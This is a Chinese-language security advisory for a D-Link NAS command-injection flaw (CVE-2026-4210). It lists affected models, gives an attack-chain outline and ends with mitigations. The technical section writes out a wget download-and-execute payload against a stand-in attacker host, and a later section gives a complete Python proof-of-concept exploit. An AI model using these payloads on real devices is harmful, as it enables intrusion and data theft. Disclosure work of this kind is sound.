IPBUF安全漏洞报告
English
CVE-2026-4210 CVSS 6.3 中危

CVE-2026-4210 D-Link DNS/DNR系列NAS设备命令注入漏洞

披露日期: 2026-03-16

漏洞信息

漏洞编号
CVE-2026-4210
漏洞类型
命令注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
D-Link DNS-120, DNR-202L, DNS-315L, DNS-320, DNS-320L, DNS-320LW, DNS-321, DNR-322L, DNS-323, DNS-325, DNS-326, DNS-327L, DNR-326, DNS-340L, DNS-343, DNS-345, DNS-726-4, DNS-1100-4, DNS-1200-05, DNS-1550-04

相关标签

命令注入CVE-2026-4210D-LinkNAS设备CGI漏洞远程代码执行DNS系列DNR系列time_machine.cgiWeb安全

漏洞概述

CVE-2026-4210是影响D-Link多款NAS(网络附加存储)设备的安全漏洞。该漏洞存在于设备的Web管理界面CGI组件中,具体位于/cgi-bin/time_machine.cgi文件的cgi_tm_set_share函数。攻击者可通过构造恶意的Name参数值,在受影响的设备上注入并执行任意系统命令。由于该漏洞可远程利用且只需要低权限认证,攻击门槛相对较低。漏洞影响D-Link DNS和DNR系列共20余款产品,这些设备主要面向中小型企业及家庭用户用于文件存储和共享。攻击者成功利用此漏洞可获取设备的完全控制权,执行恶意代码、窃取敏感数据或将其纳入僵尸网络。目前该漏洞的利用代码已公开披露,需尽快采取防护措施。

技术细节

该命令注入漏洞的根本原因在于/cgi-bin/time_machine.cgi中的cgi_tm_set_share函数对用户输入的Name参数缺乏有效的输入验证和安全过滤。攻击者可在Name参数中注入操作系统命令分隔符(如分号、管道符、反引号等)和恶意命令。当应用程序将用户输入传递给系统命令执行函数(如system()、popen()或exec())时,注入的命令将被操作系统作为合法命令执行。攻击者通过构造如'; wget http://attacker.com/malware -O /tmp/malware && chmod +x /tmp/malware && /tmp/malware'的payload,可实现远程代码执行。由于Web接口通常以root或高权限运行,攻击者可直接获得设备的完全控制权。漏洞影响设备固件版本至20260205的所有受支持型号。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标D-Link NAS设备,确认其型号和固件版本,确定Web管理接口可访问
STEP 2
步骤2: 认证获取
攻击者使用低权限账户(如admin用户)登录Web管理界面,获取有效的会话凭证
STEP 3
步骤3: 构造恶意请求
攻击者构造针对/cgi-bin/time_machine.cgi的HTTP请求,在Name参数中注入命令分隔符和恶意命令
STEP 4
步骤4: 命令注入执行
服务器端cgi_tm_set_share函数将用户输入传递给系统命令执行函数,注入的命令被操作系统执行
STEP 5
步骤5: 持久化控制
攻击者可在设备上部署后门程序、修改启动脚本或植入webshell,建立持久化访问通道
STEP 6
步骤6: 横向移动
利用被控设备作为跳板,对内网其他系统发起进一步攻击或将其纳入僵尸网络

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2026-4210 PoC - D-Link NAS Command Injection Affected: DNS-120, DNR-202L, DNS-315L, DNS-320, DNS-320L, DNS-320LW, DNS-321, DNR-322L, DNS-323, DNS-325, DNS-326, DNS-327L, DNR-326, DNS-340L, DNS-343, DNS-345, DNS-726-4, DNS-1100-4, DNS-1200-05, DNS-1550-04 """ import requests import sys import argparse def exploit(target_ip, target_port=80, cmd='id', username='admin', password='admin'): """ Exploit CVE-2026-4210 command injection vulnerability """ # Construct the malicious payload # The Name parameter is vulnerable to command injection payload = f"'; {cmd} #" url = f"http://{target_ip}:{target_port}/cgi-bin/time_machine.cgi" # Prepare the request parameters params = { 'func': 'cgi_tm_set_share', 'Name': payload } # Authentication (may vary based on device configuration) auth = (username, password) print(f"[*] Target: {target_ip}:{target_port}") print(f"[*] Command: {cmd}") print(f"[*] Payload: {payload}") try: response = requests.get(url, params=params, auth=auth, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response:\n{response.text}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == '__main__': parser = argparse.ArgumentParser(description='CVE-2026-4210 PoC') parser.add_argument('target', help='Target IP address') parser.add_argument('-p', '--port', type=int, default=80, help='Target port (default: 80)') parser.add_argument('-c', '--cmd', default='id', help='Command to execute') parser.add_argument('-u', '--username', default='admin', help='Username') parser.add_argument('-P', '--password', default='admin', help='Password') args = parser.parse_args() exploit(args.target, args.port, args.cmd, args.username, args.password)

影响范围

D-Link DNS-120 < 20260205
D-Link DNR-202L < 20260205
D-Link DNS-315L < 20260205
D-Link DNS-320 < 20260205
D-Link DNS-320L < 20260205
D-Link DNS-320LW < 20260205
D-Link DNS-321 < 20260205
D-Link DNR-322L < 20260205
D-Link DNS-323 < 20260205
D-Link DNS-325 < 20260205
D-Link DNS-326 < 20260205
D-Link DNS-327L < 20260205
D-Link DNR-326 < 20260205
D-Link DNS-340L < 20260205
D-Link DNS-343 < 20260205
D-Link DNS-345 < 20260205
D-Link DNS-726-4 < 20260205
D-Link DNS-1100-4 < 20260205
D-Link DNS-1200-05 < 20260205
D-Link DNS-1550-04 < 20260205

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)立即禁用设备的远程Web管理功能,仅通过本地网络访问;2)修改所有默认凭据,使用强密码并定期更换;3)在网络边界部署访问控制策略,限制对设备80/443端口的访问来源;4)启用设备审计日志并定期审查;5)监控CGI接口的异常请求模式;6)如果业务允许,考虑暂时将设备从网络中断开;7)关注D-Link官方安全公告,及时获取补丁信息。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表